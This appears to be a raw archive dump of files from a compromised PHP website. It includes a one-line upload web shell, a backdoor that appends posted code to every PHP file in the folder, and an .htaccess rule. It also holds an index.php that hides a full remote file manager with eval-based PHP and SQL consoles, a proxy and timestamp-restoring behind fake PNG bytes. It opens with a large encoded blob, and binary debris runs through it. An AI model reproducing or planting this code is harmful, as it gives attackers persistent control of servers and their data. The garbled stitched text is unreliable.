SyfqWaqNvKUd/S/n/W2ojv6Wm71tqXb5VMt2Sb27KNi0h6Je5hbRvg7/VTv+hlGYgz5ZEVBZxoAQGVFFg5GOCPhpqvoMINiZiCr4jA5dmF1JmOR4pd2Zz4CGgvuQVikRrfHBJgb0QfYESm3Xt3rupREdHMeUkfBQEAmx7nyeLj3MCX4BORSnuroOtirhL7/kEhrgMnNvI5fEz1LKIp/J9b/Kb8fCoi7cgNhQxK9Ur2eGQCT67sgaPZ24LN73b2G0ogdjem4eFf5rM1Gi3kfucSiy4XmtGqlTfX98bQq9l+ON709/Ss2uvM002KycAn+/KQbE3j2DX72qT9dHc91oMKNs3FHVjjNQFvWpLhKIljPJQwHcm+Ge4eTty35kd2Rn4PF8vNpeF+rEdq604q+6OHpGwjUZRt2P2rIO2B5+l0WNBau3P6vaP4P3kiLwlyr6f9YdSyBupeDdqNO/xoJ2r2anttupmqhwDPh+b2ziYC8HdUKPdcE/seh5sYwbaNBjUhozayL4jevsoo2Panyhrs0zHy2TecMF4HiMZjOcI+7iBn6mNW/TF2G/aK8rg8zH+uC8ErDtuFXXnXpPU/AXfk05TU9uQY7fpmUc5GsA5eZiQnl7PbVx6ksHMj/3joKsQht/3THeXveM0mB+K9h4b11IboL2IWvuHG2jvaC7Zvdnxrlu36Y+lU2sG6hoLh1ap6Q6Mz+/fb2AunOVsITR7bWIH6H7qdaOd2e2z8JnSaTPyHG4E+E2TNpp2kDiYo2ocE9ugNGJLN4lBa7Zc7vsnZX7bTUltrkrCVJMFdUEktnbQ5vPFZjOXBFVr3XYbMEaDWpwK3lqwykLzwGdZ3yvUCPDWmtbuW1nYbzvCYzPfHTQvuOtqqY5EXlW1eQWflS1B3LaAr42jRpir/gXO4UJVutNH3v9o0enP56D/S7W/tvYSnOe0v0Be0rHoS/Zktnald8zaZie4gc+LkewtSv16bFazq9GdBn15o4+OB3LYarY1rT9SyeZiRSqqKgvLmdbvzzxvOltoc/D7cb1MwFiK+UppyefvcZt70P9oRSue2RFuoC/ZuKOepGiLQzJZyDN7cdAW4F1jTe43VU/pzLRe1OvO7uayRJ+O4s0lpws+7zcLpzd7/G/7PuurC22iadMI0IgBczeZlvvcbm60Nuwz6cwXsynid016zIgR4Ke0/5TGbJajvP2Bms9DOr+Aj9QDOVsu/rd8BMZ+g/1J5l1zsmkV/VGXcn8mA57vJNO11+8DGsL5dMyOEvRajmwBOhjd2WlLMbu+tDkul+ZtMG/yvS5R8Eu7AT8rrR28ehlp3kf6BAr6r/8P#174893868739ca2d9155e1cdc175405c894d0ebfecffmolmne.php000064400000001370151676701530007074 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> index.php000064400000000000151676701530006365 0ustar00883566/.htaccess000064400000000173151676701530007141 0ustar00#---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>883566/index.php000064400000241613151676701530007171 0ustar00‰PNG IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT ‰PNG IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ±üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0AºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'de'; $detect_lang = true; $fm_version = 1.4; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Mein Liebe Dr. Tenma</title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYE